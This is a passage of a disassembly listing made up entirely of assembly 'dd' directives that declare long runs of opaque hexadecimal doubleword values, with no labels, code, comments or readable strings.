		dd 0F3248442h, 0ACCB4A20h, 24C24EC8h, 78645FC6h, 7048D395h
		dd 0F105E497h, 1DA7EFFBh, 47AC8Ch, 8A69AB8Dh, 9CF34077h
		dd 49D1EC00h, 1FCE5B20h, 62B52EDEh, 0E8A71270h,	0FC32ED58h
		dd 4D30F3E2h, 9C550065h, 4ED6C6FEh, 6D5B573Dh, 0AF13D8A2h
		dd 2830BF68h, 2FF86599h, 6C21BBC0h, 8EC569Fh, 9D28900Fh
		dd 36782073h, 0C4CF098Dh, 0CCDE4DD8h, 0A6CC6F89h, 9089F2CCh
		dd 0DF3D1098h, 90622D63h, 312DA830h, 0D51887E4h, 3E99F546h
		dd 0BB9F1C02h, 90B557A5h, 0FD097380h, 9DC7FF9h,	3364A101h
		dd 3FF89B7Dh, 0B2CBA6F9h, 83122874h, 1104E595h,	779B0929h
		dd 0F43875C8h, 0A269E3C0h, 8C37DF20h, 82812C00h, 0C02523DBh
		dd 0BB67E519h, 2F077159h, 8F28B3ADh, 68E830B4h,	71A14A18h
		dd 0D34A2A1Bh, 0D823CCF1h, 4130EDA2h, 0ECC00B99h, 0A006FA21h
		dd 0A497D91Dh, 792D752Ch, 558B844h, 7B5D21FAh, 0C435AE0Eh
		dd 31155801h, 57C8CB2Ah, 44A548D4h, 0C28CB8ECh,	50E84A16h
		dd 4D286C60h, 3D24980h,	4580429Bh, 0CDB0035Eh, 80FFC36Dh
		dd 2701B9A1h, 718F3EEh,	0ADDFEA44h, 4C51E07Dh, 0C716FE43h
		dd 0C50001AFh, 0DC035A3Fh, 9409B744h, 0CE621456h, 440C5CC4h
		dd 808EFF6h, 57613B5h, 913368E1h, 5A177CCh, 0DFB8D8BDh
		dd 87775700h, 2921283Dh, 3A7C7DFAh, 0AA72AABh, 1C170446h
		dd 0E4E4733Dh, 0B99420F8h, 16C0C695h, 0B088F7DCh, 0BC09D6C0h
		dd 5E2E74D5h, 4E96AACh,	0AF3CD2DFh, 0BC3F8C30h,	786D0A0Ah
		dd 128821C4h, 5A88BC15h, 0EE8810CFh, 0C4636AC7h, 0F062E061h
		dd 9892EDF8h, 7C00FAB1h, 6BE998A6h, 0DF5B1681h,	3C64C0FDh
		dd 0DD4D61B8h, 8D8F1818h, 84A2B9h, 7B6BF459h, 6ABB545Fh
		dd 0FC3AE825h, 0F56F0284h, 44E7D120h, 5160F644h, 947E79A3h
		dd 0B1123902h, 409B3FEDh, 98247726h, 30971080h,	66B57C26h
		dd 46C12C8Ch, 2F7D4058h, 0BF00C409h, 63AA7352h,	95D86577h
		dd 307A44E8h, 6B8C2A03h, 0B29629F2h, 81A7DD1h, 0CB388000h
		dd 2E0F8F9Ch, 9302838Eh, 0F64A78B2h, 0D8ECE320h, 6939906h
		dd 4476ABA9h, 0F51DC82Ch, 85CE10B5h, 0F9E9017Ch, 3D2E01EAh
		dd 446A3ED8h, 9F599209h, 64949677h, 0FF6B2933h,	13BC082h
		dd 4C70499h, 0F1E84881h, 16DCFFCCh, 40A90CD7h, 4BE5D0C0h
		dd 0EA5AE41Bh, 678880B2h, 0B58B1058h, 1D57062h,	3FBDA90h
		dd 2CDD09D1h, 0E89EBC30h, 0BE312DA3h, 0BC068059h, 3428FC29h
		dd 6209F01h, 49633118h,	4B1F6A3Ah, 0AC20E88Dh, 0A6A55B9Ah
		dd 8460B728h, 0B0EB26F8h, 0E99E14F0h, 92B8C7h, 0F9C6D3A4h
		dd 37E08F29h, 43B41C97h, 0B85C4CDBh, 87258C30h,	4548D10Dh
		dd 9013FB70h, 9CA4DBh, 0CA95ECB6h, 0D902E07Dh, 0F7225B06h
		dd 8428F96Bh, 0AF39956Ch, 67AF7831h, 8C123469h,	1FF0B376h
		dd 0D89D8C3h, 0C9705E0Ch, 0DC50D4h, 997B2AD3h, 89D0643Bh
		dd 0E93659C4h, 0D65C20FAh, 7D347C18h, 2000601Dh, 395A8A15h
		dd 0BB483993h, 0EA80B53Ah, 1A4AE547h, 0D7252E12h, 0C06EF0E7h
		dd 0F15CBE49h, 95E06D31h, 0E5578D09h, 39DC60F9h, 74B15896h
		dd 124E6158h, 0EC6AEF64h, 4901B523h, 0C0D0D8D5h, 0AA94C52Fh
		dd 0C9985C37h, 0B979B051h, 8E7F7C18h, 0BCA90E12h, 0BB2813FAh
		dd 3123443Eh, 6D231100h, 0F6BC40h, 13C5F262h, 3B488ECAh
		dd 69A8799Dh, 5A50647Bh, 0C0030B61h, 5056A09Ch,	79B8F14Bh
		dd 1AC1855h, 844D19E7h,	0E40D3110h, 0A29DF4D8h,	97F9F00Ch
		dd 8156112Ch, 0EA5E3D2Dh, 12E79CE4h, 0BD30C68Ah, 2C9AD694h
		dd 60F8BA87h, 0C403C6DAh, 0C8BDA14Eh, 0B8A0ED4Bh, 0F9B600B9h
		dd 0E20A64AEh, 0EC0A8C8Bh, 0E81CC1E8h, 0DA0B1084h, 6F9D481h
		dd 5A04BC04h, 74B078E7h, 5700B383h, 84C8F43Eh, 17A41A65h
		dd 0EC4F1F5Dh, 0C48BB574h, 37C23088h, 2328C277h, 0CF16179Ch
		dd 0B5F31380h, 1EF57B4Fh, 56B69945h, 0C8030E4Eh, 3E767119h
		dd 1981AC20h, 91E5009Fh, 2A7C6551h, 7927D8C4h, 57F0CADFh
		dd 541D580Bh, 0B482EF11h, 1A5D8B32h, 0E482D560h, 0F409F281h
		dd 9F684118h, 665220ECh, 6F2F7C76h, 7CD40BD8h, 4C05DC78h
		dd 8C7E4919h, 260010B2h, 0E61A1EE5h, 8F00A775h,	0B373456Ch
		dd 26D7A47Eh, 46DB2EFh,	0BAD1C4F0h, 8AD73838h, 0FA4260D6h
		dd 547F4038h, 20A85B4Ah, 36E867F0h, 5ACE8A80h, 0FB88785h
		dd 9F30A8F7h, 2DDE26C5h, 80F7A780h, 0C65A01E5h,	0AF5D1CC4h
		dd 3A78894Ah, 0BC387D9Ch, 41463BF2h, 0E0972B05h, 646FBA1Bh
		dd 5A16B423h, 20CCDC06h, 0A9B02D51h, 0B9231084h, 6973C840h
		dd 10835DFh, 6790F6EBh,	0DAE8E3C7h, 6E2DAD2Dh, 4EC5626h
		dd 0FB035D46h, 0D4B9AC12h, 0E06AAFD6h, 13612F00h, 8F8E0296h
		dd 0C480CD27h, 0F3330348h, 85622736h, 7A15AEE8h, 6717EA10h
		dd 0B878A94Fh, 0F2CA08BCh, 0EB8042C2h, 0B937C07Bh, 38BD12B3h
		dd 9284E202h, 96B860ADh, 5D01102h, 0FDBB7865h, 6A57E090h
		dd 0B8B6A203h, 0D0B367B7h, 2C2BDC89h, 8005424h,	400CC94h
		dd 1A3ACD39h, 0DEB10122h, 0C5EB4A8Fh, 0F0B466DCh, 0F4F6Fh
		dd 99392CF6h, 15695179h, 1A0C805h, 6FBB0BEDh, 660071B0h
		dd 0B3223431h, 0B6C1F223h, 12F1020h, 1F8FDA8Ah,	902B82AEh
		dd 36352B2Ch, 0B7705269h, 0B041809Ch, 0A11F7307h, 65471904h
		dd 70B234D8h, 8088E84Eh, 28463753h, 988FE3Dh, 0C9D8C667h
		dd 2D026054h, 0C1E8BD5Fh, 0C42B8C28h, 7082FAA4h, 433C54DFh
		dd 0EED173B6h, 0F91CD42Eh, 8601D00h, 3CCA0623h,	0F0AB1342h
		dd 0FC20BA2Bh, 0A34D6B04h, 0F031F39Fh, 189D1E0h, 95064C4Ah
		dd 0F2FAE12Dh, 74E42ED7h, 1CF45F04h, 69F80B75h,	800014C6h
		dd 0EF5DD86Dh, 8B70D99Fh, 0A848F619h, 5B954A70h, 20C0A078h
		dd 0C7073498h, 0FAF06A8h, 7C79CBh, 97386CE7h, 2E01F392h
		dd 0EAF94025h, 80E28F60h, 0CABEBF84h, 3A39160Ah, 0F268E2ECh
		dd 5D6330B5h, 792A8D25h, 0FC544494h, 8CBAF848h,	94077B00h
		dd 0F6FFC022h, 29A825C3h, 64977C70h, 135009F8h,	7501AF9Fh
		dd 60A5C059h, 0F24165A0h, 0AF98852Bh, 4F3EE86Eh, 0ACAE0B8Bh
		dd 4A17CC54h, 41BF0F4h,	6B366530h, 3D0FD88h, 0D85FD7AFh
		dd 0C11AF866h, 2C890160h, 71B15D56h, 57A02F17h,	69A5059Dh
		dd 0CDD9307Ah, 24F66A40h, 53034AE0h, 0D6C06F00h, 7C55453Dh
		dd 48302D89h, 66626871h, 0F63F0008h, 28BBE33Ah,	4A7C2278h
		dd 0B354C8D9h, 4F560D00h, 1AB0BA03h, 3E15E250h,	8D4BA6EFh
		dd 0A26423D8h, 94B230B6h, 9F64B3Ah, 607365h, 0D86469C0h
		dd 0C06272Dh, 51E98CF4h, 40ED0324h, 67F3FCBCh, 904F0EA0h
		dd 0CC9546B8h, 0F2B098h, 0FFBBA8D1h, 0E212FA3Fh, 916C3597h
		dd 6F248F30h, 0EC9B130Ah, 8BEFCE9Ch, 9C47FB8Fh,	0C7F9456Bh
		dd 0D8C08B40h, 0DC2DD80Ch, 427471A1h, 32031C5Ah, 0C1E8A1CBh
		dd 0A6F0412Bh, 153D35Dh, 0B46CABBFh, 0AB8C1F12h, 0B46D820h
		dd 7F840774h, 70418639h, 0E53520Fh, 2B12B67Bh, 2CE07760h
		dd 0C8B1D426h, 0B0895125h, 0A4162C58h, 0ECC13B5Dh, 29A64193h
		dd 76CB0264h, 54603ECCh, 0A50903FBh, 55F4F9E8h,	7CE82C8Ch
		dd 0B953DC0Fh, 87B0F804h, 0C64804Ah, 7BFBC090h,	3D262820h
		dd 213B6593h, 4CD0ABC0h
		dd 25126F9Bh, 0F471DBBEh, 54F82292h, 7F9BE503h,	21F83A76h
		dd 4F0E19B2h, 7236FE04h, 260464BCh, 676EB75Dh, 0B3286E68h
		dd 8C47A033h, 699EC206h, 2D19337Ch, 39185983h, 0E64CA06Eh
		dd 97686788h, 0B89BD004h, 86E58804h, 494564AFh,	0C46C9A24h
		dd 0B158C806h, 237C0670h, 4039E47Fh, 0B603859h,	7011B0C4h
		dd 43AE0B0h, 0E56A9CA1h, 87848CABh, 4A2DCC07h, 0E0FA61F2h
		dd 0D3CC6014h, 5C08900Bh, 0DF7C50B4h, 0A8F49882h, 4956033Fh
		dd 506018F1h, 0FF39CD8h, 74C5B124h, 5EDC742Eh, 44B2E3h
		dd 2DA8FAA4h, 14C74BDh,	26623FFCh, 52AA03E7h, 34046CB8h
		dd 2B4CDDAAh, 69A028A6h, 182076A3h, 0EC33E749h,	41B6590Bh
		dd 0A9643077h, 0A4140466h, 0B85BFD4Bh, 6AFA963Ch, 7A450A28h
		dd 8707D42Ah, 2D6294EFh, 91D80AE5h, 9CD61E20h, 8438814Eh
		dd 94E4C7E9h, 0D4595113h, 8300DE2Bh, 0A06A4317h, 0E0D20CB6h
		dd 0F53F11B8h, 55A4051Bh, 0B4004087h, 71DD6E86h, 0EB3E2FC2h
		dd 44942868h, 60944D9Dh, 93D22A74h, 2BC4E11Fh, 0A3A335C9h
		dd 0F6BBE85Ch, 18719581h, 8603EB00h, 0E046487Ch, 9ABC3B5Dh
		dd 0E473A325h, 0A5A92880h, 0C05FB9h, 2CCEA881h,	0A4078B13h
		dd 0D789BC02h, 42C864F6h, 609AF598h, 1E14A8C0h,	90E67D82h
		dd 0AA6004B5h, 0DDC63AC0h, 3DF21A2Bh, 644208DCh, 9219882Ch
		dd 70C47395h, 0C180BE5h, 3B0EF81Dh, 0BC1F5BB6h,	902434DCh
		dd 805C9BAAh, 0D27520CAh, 3C2A024Ah, 3FB0972Bh,	6525FCDAh
		dd 131879F5h, 0EDF4B992h, 298D4E8h, 0C4BA424Fh,	5B293B91h
		dd 0BC5870D8h, 0BE16FE2Ch, 0B8BC8F12h, 0CDD0C3C1h, 4352EEEh
		dd 80609AAAh, 20911064h, 9CE59505h, 1A44C08h, 0F56AEBDAh
		dd 0F08C3F76h, 242A173Bh, 0BB688514h, 298000DBh, 57394B30h
		dd 274F4FF8h, 261120F7h, 0E02F4BAEh, 0EA00F423h, 3041DF56h
		dd 9DD0090Bh, 0E4FE62AFh, 6C8C9964h, 0B419172Eh, 0BC68FC39h
		dd 0E2128C50h, 20AE0BEFh, 0C83CE670h, 0A3319F01h, 48827836h
		dd 7E14FDF4h, 8C7C39C3h, 9B58804Bh, 0B100669Ch,	0FCC0206Ah
		dd 0B2C778BFh, 9FBBF26Ch, 2FD10879h, 34C9E18h, 0EBD28018h
		dd 2E5C17Fh, 5F7CD3CBh,	9157309Dh, 29108C90h, 414AEC8Fh
		dd 89CF20A9h, 526D918h,	67D9A00h, 5ED3C3FBh, 2CD89508h
		dd 0C1E4CD9Fh, 3B52CE6Eh, 9CF4A0E0h, 90972F8Ch,	1B8E3791h
		dd 1152F780h, 960F0132h, 17879B68h, 0F5390404h,	4E491CE4h
		dd 95D890A8h, 6F1E2A42h, 1BFC344h, 1FBC20ABh, 0FBC7E9C4h
		dd 0FA982FB6h, 74A1BCF9h, 2B185271h, 0C8BFCA01h, 55D8C620h
		dd 0A62A4C75h, 3054B2C8h, 0B600A445h, 1EAB4DB9h, 0C03C6689h
		dd 0C4F62C20h, 5E09CDC5h, 5A5F2B76h, 857CA1FCh,	6714743Ch
		dd 9F7C54DAh, 0E02694D3h, 3EB4465Ch, 95A10275h,	57EAECC9h
		dd 4D5D3C9Ah, 7647C00Ch, 2A719646h, 423044BDh, 17B04C0h
		dd 6EAB4163h, 742F00ECh, 6F88FA90h, 0F5FD7E38h,	0B09FB2D4h
		dd 0B1135EF4h, 748C2B64h, 93352E1Ch, 81628500h,	0BC88A81Fh
		dd 40058CB5h, 0C8C062ADh, 745880B8h, 3F01DE22h,	708667F6h
		dd 536AA34Ah, 2C58A734h, 0F30FC07Fh, 20AB1236h,	0B42B8198h
		dd 4B2A305h, 18CCFA15h,	72700C8h, 44FF1264h, 2449C4ACh
		dd 0DA410074h, 0D7E2E0FEh, 271CB460h, 5CEB48DEh, 0A507D4DCh
		dd 3DEEBD4Eh, 85B54487h, 383004E0h, 0E950F640h,	311327C6h
		dd 8C598CDh, 989C20BEh,	26016B33h, 0E32FCD45h, 0D7FE38D7h
		dd 0AC0054BAh, 0C43AAF70h, 0F121B825h, 47300BE4h, 0D37A405Eh
		dd 1A387030h, 25F1E800h, 88D8652Bh, 78D3B5C3h, 9F430A01h
		dd 8A6BB156h, 4E963A8Ch, 52ECE4FCh, 3C5CA08Ch, 24D81278h
		dd 0E220B36Ch, 174E3038h, 9491EF00h, 0A58885D7h, 0CD221C12h
		dd 0EA418BD4h, 0B87CC842h, 0CAE25F01h, 8E2BC34Ah, 3F21B8DCh
		dd 5F7603BDh, 0C8F48B38h, 903DC351h, 4861B3E2h,	5B81101Fh
		dd 8CD64F21h, 497FDCA4h, 0E7DD9D2Dh, 60BB6428h,	98AA79BDh
		dd 0CB2D3BCFh, 97CACCAh, 5E994BC4h, 500251DCh, 0FED28CF4h
		dd 0F884345Fh, 0BCC8EC8Fh, 0BF07FCC0h, 0FDB11322h, 2ABB0105h
		dd 6D4DD88Fh, 34954BB8h, 0B39012AAh, 618C128Ch,	59C79CB8h
		dd 58D8F926h, 31F37B0Fh, 3B78E0A1h, 9D884C4Ah, 76978CE8h
		dd 0AF04EE00h, 0F3483F9Bh, 1D5E0FE5h, 8849CB7Dh, 50CF0893h
		dd 4E3B514h, 1C02F118h,	0E0F831C2h, 2426023Fh, 38FBA267h
		dd 0A4F890FFh, 9C74B25h, 35F7D8B0h, 80321104h, 0BEE3EEC3h
		dd 0B4D8B5C6h, 0E74CE027h, 67576404h, 0A8489963h, 3ACF70C8h
		dd 0A68425C4h, 0FE51AF5Dh, 847F489Dh, 0C03CB8A4h, 0DC120B5Fh
		dd 209597A9h, 45C5D740h, 4CBF16E3h, 0B4ACBCB9h,	0F088DC8Bh
		dd 0CC7B6BC0h, 5D981E8Ch, 980AEFDh, 686331FCh, 0BCD9C0FAh
		dd 0CC19EE79h, 34B0C8C3h, 0F060D85Eh, 0AE0911h,	0F9AC4D31h
		dd 69047B33h, 0EDDC0300h, 0EF50012Ch, 0E30B3A0Ah, 0E8BFC819h
		dd 80C46B7Ah, 0DB81C49Fh, 0C03DF390h, 995ED83Ch, 59AFB807h
		dd 847B298Dh, 0B86EBB84h, 0B25E2009h, 4A583B00h, 7B9F7EDAh
		dd 18305968h, 0F0421EA8h, 5C712534h, 4C20D020h,	0A58A123Ch
		dd 0C914E07Dh, 65189625h, 0E90238E8h, 0D901E3F1h, 0DC4C0957h
		dd 344676F0h, 0AC701600h, 24172B1Eh, 4334CE95h,	30F5F24Bh
		dd 0D0FBAD24h, 3B7AD2A6h, 9B2A6409h, 40E4D67Bh,	710A35D0h
		dd 27B50500h, 40125E80h, 906B003Dh, 0C69A6615h,	3F74E2CAh
		dd 0E901EE0Bh, 5E0418C1h, 7C48267Ah, 0DE2CA438h, 0CDA96D0Fh
		dd 98E3129Ah, 0F9B6ABF4h, 10D7707h, 0E2CB495h, 32B5C4FFh
		dd 0C99AAF12h, 8F43DDC0h, 0B701A066h, 5AB5FF5Eh, 0AC2BD4EAh
		dd 9D89C12Fh, 3A4130F1h, 81002709h, 2839C1C7h, 0BD831DB5h
		dd 2180F99h, 0C05784D0h, 650DBB3Fh, 8B0409E4h, 0D11E2585h
		dd 0E03DE6BBh, 4084BBh,	0A6A7B44Eh, 0BC51F1BFh,	24C62434h
		dd 0C60E2A6Bh, 6F602B6Ch, 85C7C1BFh, 0A422CD36h, 7260E127h
		dd 141F60F9h, 0FFF382E9h, 851889E2h, 8B16332Dh,	67B32FC1h
		dd 0D74192FEh, 34206A6Ch, 0F76509DEh, 445F0910h, 0D78100F1h
		dd 339B501Dh, 510F6090h, 0A07279B8h, 8B665E3Ah,	50611DDAh
		dd 5514590Fh, 4CA92E60h, 1C73C13h, 822E7A4Ch, 0BA66DC9Eh
		dd 61CC2409h, 0B7ED5F90h, 4B82BD60h, 14221479h,	0CF0035E8h
		dd 0D9C421B6h, 0CE0FE992h, 258BB32h, 0C5F2A48h,	0AA8B02A4h
		dd 0A9DA5FFAh, 0B11C5200h, 2FFE81BAh, 3EB2FA4Eh, 10C5EACh
		dd 883F1214h, 85EC0645h, 911B51ADh, 0DCE79701h,	0E80DFC2Fh
		dd 0F7028C16h, 0C083AF69h, 0EBDB5505h, 2BAAB58h, 9CF7CE3h
		dd 0B648BD95h, 890DFC60h, 1016B1B5h, 0E4AFB904h, 0BA00ED03h
		dd 0EB0E66D5h, 10E64CE7h, 74AA05h, 0BF505BF8h, 641BA098h
		dd 400D3860h, 2268C811h, 3B7700EDh, 3C42253Ah, 8B0DC755h
		dd 6C2AB19Dh, 0E4ABB914h, 7500F6D3h, 96EDDBB5h,	4A8531FBh
		dd 0C241AA71h, 233DBD8Bh, 9263FD2Eh, 0DF81DAAAh, 0F0D5B400h
		dd 3817FECh, 0FBBC98E7h, 668B8D1Bh, 0B71CC0ECh,	0D168FF94h
		dd 0EA4907Bh, 2171508h,	81850F01h, 34C65F29h, 0BA28EF04h
		dd 0F4AB5EA7h, 8D00082Fh, 46032DB0h, 9D7C2C0h, 26ACBE3h
		dd 60044D57h, 0C46CB9C5h, 37E83A18h, 50F53CC4h,	1250CE90h
		dd 159553BBh, 31E8A26Dh, 109D4A04h, 0F280ACDFh,	50E68580h
		dd 8BE9BF2Ah, 0DF04DBE0h, 127A0A3Dh, 0CABE0EC8h, 0DCF11043h
		dd 0BE8FAE92h, 3567F7CFh
		dd 0EACFF0C2h, 404826ADh, 0BC7709A9h, 996555D4h, 8F6015E4h
		dd 0D9A4E92Ah, 40ED351Fh, 509E7914h, 8903FE70h,	0BD292404h
		dd 14EEA6B9h, 6E35FF64h, 636BBB03h, 89E11D44h, 230C4025h
		dd 0F695D59Dh, 53BA53FDh, 0CA92740h, 54605F81h,	0BF7392F1h
		dd 88708A73h, 0A88B4C14h, 2EDB8974h, 0FBE157BDh, 0E861D8BDh
		dd 2A1E80A4h, 0FD808519h, 79958980h, 0B951A32Ch, 0E900141Dh
		dd 30C9012Fh, 0BB6C75B0h, 8BD81602h, 4B70E642h,	0E4008499h
		dd 6248BB71h, 7775E725h, 490B5E06h, 6D20C898h, 64B6F802h
		dd 0BB4912C8h, 0E92677E6h, 0DF46402Eh, 48000CC2h, 65B9ECCAh
		dd 584A3E28h, 4D495D74h, 15103348h, 0E8147A11h,	19E46004h
		dd 826B2DC9h, 0C200F333h, 0E2F76661h, 3959BD33h, 0C82B12FDh
		dd 8B0F88BAh, 75AD2EF7h, 0D7EB1E00h, 46DB3812h,	0E06838h
		dd 0A0D5522h, 4A3E61C9h, 0E922EBE9h, 1919E0F9h,	0DB298125h
		dd 861FD4A5h, 0BD145EEAh, 4109107Dh, 0A212A28Dh, 3B28D9FEh
		dd 42E59DD0h, 0DCC0DE5Ch, 0E98022C9h, 8A1BC461h, 61F2AADDh
		dd 60114B69h, 845C30E1h, 50F94A44h, 946BE8h, 6AB99BC9h
		dd 4C2201D8h, 8316531Ch, 0A42F380h, 1EBF6628h, 0D45F69B7h
		dd 0FE3231A5h, 0BA411118h, 30734495h, 2A4253DAh, 0FEE3DC1Fh
		dd 9DBC31C0h, 0A0CEB762h, 0DC26B1F7h, 8D072231h, 0D5480EB5h
		dd 6A9831B9h, 80A3F82Fh, 0D7D06BBFh, 3ACE00E1h,	0FAB657Ah
		dd 43256DA1h, 0DA3275F8h, 0E860804Dh, 2A75BDF2h, 0C4E2B52Ah
		dd 22331AEh, 5F0894B9h,	0E878CBFBh, 2961056Fh, 2208C5B5h
		dd 6767FCCEh, 74611944h, 57C2208Eh, 8D31C90Ah, 0FC98C289h
		dd 0A4B8D9BAh, 0B70F05AEh, 6BD22BFEh, 0F43A7F35h, 23FA01B3h
		dd 0D1C233ADh, 83D04480h, 0F47504E9h, 7C958A7Fh, 0DC00D6A2h
		dd 988A8D6Ah, 0CA880D89h, 40FAE81Dh, 25243BE9h,	9A350C00h
		dd 72215CBAh, 588A2E4Dh, 5F0511BFh, 2C01A6E8h, 958B5F9Ah
		dd 41C57551h, 414C599h,	4CD0A2BAh, 2C03042Eh, 9E813A29h
		dd 0EA042D55h, 0B1D05B4h, 0F261B5DBh, 0C103B00h, 22008136h
		dd 0A329DCCh, 904B55B8h, 16AC2E84h, 392D248Eh, 0C103180Dh
		dd 59A5E308h, 2E581996h, 23AC44FDh, 2FF8E2A1h, 9BACC9F9h
		dd 68B93912h, 0B57FCCBEh, 0B0290920h, 97C55571h, 0FC2F6B65h
		dd 6BAA4E2Fh, 0A350AD9h, 0F704C801h, 458DE1BDh,	0AC16ED2Bh
		dd 3330E3A8h, 60344111h, 4D4A0AD9h, 106FFEh, 0FFE8327Bh
		dd 609978h, 49BED681h, 11E9308Dh, 0C62A88h, 0B6A56C88h
		dd 444926FFh, 0DEAF1700h, 735BA2C1h, 98E1F861h,	15E92957h
		dd 1D3908A5h, 8704C163h, 22CD5F09h, 64807565h, 0BDEBF0Fh
		dd 6197E880h, 2E0D7502h, 20138B1h, 5BF28A4h, 205CCCE3h
		dd 860F0312h, 0E6BB14F5h, 7CCCB4D2h, 80E70281h,	60302721h
		dd 58ACFB55h, 8C1D66E1h, 4A7F80D9h, 0D6BEFh, 0EC647C4Ah
		dd 764D2F93h, 0FC094E65h, 88F46965h, 0C2178DCFh, 0DABB4052h
		dd 262CBC9h, 5528F5E7h,	0E779D9F3h, 4D802E38h, 1F927F59h
		dd 0BF9F8803h, 0A8806A31h, 0FC07A27h, 0CD8533F6h, 23663E76h
		dd 0EAFB001Dh, 6EE57C01h, 0DB29D301h, 0DF8B90A1h, 0EDFE5430h
		dd 0AC48F92Fh, 151200E2h, 3B8C3954h, 0D09DCAB9h, 5F711A00h
		dd 2FC6543Ah, 0D1B63F00h, 0C9B553C1h, 0E77071Ah, 704E4FAAh
		dd 338EE78Dh, 97D15497h, 3BDC185Bh, 1F4903FFh, 122207h
		dd 0CDA7A149h, 902E789Eh, 69EFC903h, 0F0A07FB7h, 0EE3B040Eh
		dd 0C300B0D7h, 0C8F0FBBh, 8E2A3F76h, 12E10606h,	0BF5C408Bh
		dd 42130999h, 37135F73h, 0A4302AD0h, 7F586225h,	6E8065B5h
		dd 0DF2FF589h, 0BF334E75h, 15954F20h, 1950B22Bh, 0D28018Dh
		dd 4B626985h, 0A16BFEh,	0BFDF9E0Ah, 261E21F5h, 850601Fh
		dd 66142039h, 617D04D8h, 0F7EBBFE9h, 6033A211h,	80177DC9h
		dd 91258D09h, 0BC02302Bh, 0A297077Ah, 0E05B7821h, 0B767D38Ch
		dd 30A63D48h, 0BB66E952h, 90A678F8h, 0C75F384Bh, 0F86394Ch
		dd 0F8E0A781h, 0B531DBAEh, 95314356h, 0CA7EA246h, 0ACB39D5Ah
		dd 2AB23DDEh, 0BF46060Dh, 0B3A0C900h, 0F1FEFCFh, 89900D5h
		dd 0D2619536h, 0F691CC68h, 82933549h, 9B774DE1h, 0F6042742h
		dd 4464407h, 0B05DF6AEh, 23602CCh, 80692F6Fh, 0ED8293F7h
		dd 9607105Dh, 64E5F974h, 0EFC6EDDEh, 90142FA0h,	0FF29F8BFh
		dd 0AEACD2B5h, 68A97300h, 6F3370C2h, 3463706Ch,	2CEB3D24h
		dd 0E174A6CDh, 8DC988FFh, 0BA4B7D22h, 7400986Eh, 0B12DBE54h
		dd 16488B59h, 9CE5811h,	0F90D82Ah, 50830133h, 0D3E2FD8Ah
		dd 0E6177022h, 4765AE0Bh, 0BF736014h, 0F18974D9h, 3553EA26h
		dd 7B5C007Ch, 0FE0BA0F1h, 4F016371h, 3999C461h,	5BDA1FDFh
		dd 0C5E7026h, 0F1D68462h, 0A0EDEC6Dh, 8107690Bh, 0FEC6F2C7h
		dd 9E9B21D3h, 0F68049Fh, 0F5C78889h, 0D9842CB8h, 306976B2h
		dd 802CB763h, 80F755ACh, 0B0010BE2h, 0F8B3E57Bh, 0F02820E9h
		dd 187EF380h, 0C583050h, 87443932h, 10E8C101h, 0E0020EACh
		dd 4B03FC4Ch, 0E74F4358h, 367736EBh, 7B0E6481h,	501B8C85h
		dd 21D02829h, 13583318h, 1B574201h, 0B8C0C240h,	0BBDB4EDBh
		dd 8C2E346Bh, 0EC8550DBh, 0D46D9686h, 0A8B53000h, 80B6B160h
		dd 0F130DD3h, 33251E83h, 551600B2h, 629E3759h, 0EBE6003Ah
		dd 17CE747Fh, 0B505BC89h, 8D29ED9Ch, 0B630AFC9h, 620691D8h
		dd 5B750495h, 377B7803h, 0B011A007h, 2E448529h,	0BBF19417h
		dd 7AF006F6h, 0F9F4CCCFh, 0B169D790h, 2A6DDD59h, 0D1406D60h
		dd 567B12ABh, 0E74F02A2h, 0D0506B1Bh, 42202741h, 57B3C04Eh
		dd 68E1CB81h, 743D0A2Ch, 0A71A0612h, 0EF2FCD04h, 782235A0h
		dd 50032CA2h, 2333BA60h, 0C1CC8D04h, 794F006Bh,	6D37BE1Eh
		dd 2D000A89h, 0B305F9C5h, 0FA0B182h, 615F86B4h,	6EE617D3h
		dd 0CE5B29E3h, 406B4D4Bh, 0BFE088EAh, 726AEC0Ah, 0A509D115h
		dd 0BACD7D31h, 70A254E0h, 21885EA1h, 0FC145FC9h, 5902123Eh
		dd 0B8B37BB6h, 5DD4B2C4h, 4C5856FBh, 1C147E6Eh,	43208290h
		dd 9D31471Eh, 859E5897h, 9BFE2B12h, 0F347C038h,	2AD0CBDh
		dd 85899F59h, 0C40E22B1h, 0F6F2C486h, 809ADF27h, 58BAD357h
		dd 0CC3F8477h, 0D53D01BFh, 2181B509h, 0C2835081h, 1012E904h
		dd 0C53D34h, 0DE6D0AC9h, 772C5AB7h, 0AD0C13E0h,	0AE81BDA6h
		dd 6E204E50h, 10571782h, 0FEE50F04h, 82896007h,	0ACAF3205h
		dd 619BB1CCh, 174E0F78h, 6DEC63AEh, 582B5ED0h, 1AE22900h
		dd 938873D2h, 0A94D05ABh, 0B7CDBDEh, 913FB8A2h,	155430Bh
		dd 6A0C80C8h, 0C0A0D437h, 0B6011883h, 9D09AFB4h, 7E32084Dh
		dd 0FDF10993h, 0E90B6971h, 4127EF1Dh, 0D6BD4DF7h, 61F196E1h
		dd 2B0421F2h, 39AC55F9h, 0F8044BE8h, 32299D33h,	0EE4EDBCEh
		dd 0C0B953Fh, 8143F35Ah, 2D9DF010h, 4D24BE4Ah, 280941C1h
		dd 3A7511F2h, 0B8E8FDA9h, 96E79895h, 0CF8B0E60h, 0C2395061h
		dd 0F3481010h, 0F1FC00CCh, 0FE55FDE3h, 1A00749Bh, 5C5793B4h
		dd 5BDD8Ah, 0B360310Fh,	585A618Dh, 6BEB964Bh, 781B09F0h
		dd 9865C685h, 0A7C577C6h, 0D42B2EB5h, 9D15750Bh, 9C39E8E8h
		dd 1E0C0778h, 0C0E4661Bh, 0E76D5D31h, 0B854AE12h, 0E5BDC502h
		dd 82560524h, 0EC5E5B23h, 5DBD3361h, 5C4FB2FAh,	0C76067C4h
		dd 31841929h, 79610923h, 503C44C8h, 0F8F924FAh,	0B4C9CEA5h
		dd 0B900D404h, 0CE9B2838h, 9DF818Ch, 778B30C0h,	8925C978h
		dd 0EA09FF95h, 7D69AD71h
		dd 0F860624Dh, 25ABAD0h, 69892A11h, 0A2E06699h,	0F138E5E9h
		dd 6BAFCBFFh, 40B625B1h, 4B0EBF87h, 0C864FB9Ch,	2DCBEADAh
		dd 21CB6A81h, 12A02C0Ah, 7F03CE54h, 0D45BD98Bh,	0A6E051F6h
		dd 0F136C0Ch, 0D8AE1188h, 1A0397E4h, 0FD492175h, 23CC04B3h
		dd 0EA6A5F17h, 0BE129B6h, 213EACBFh, 745F00DEh,	81EA62EEh
		dd 8814ACD7h, 7EAE53F5h, 7D5ED12h, 0C19D9AEBh, 0A2FE4AE8h
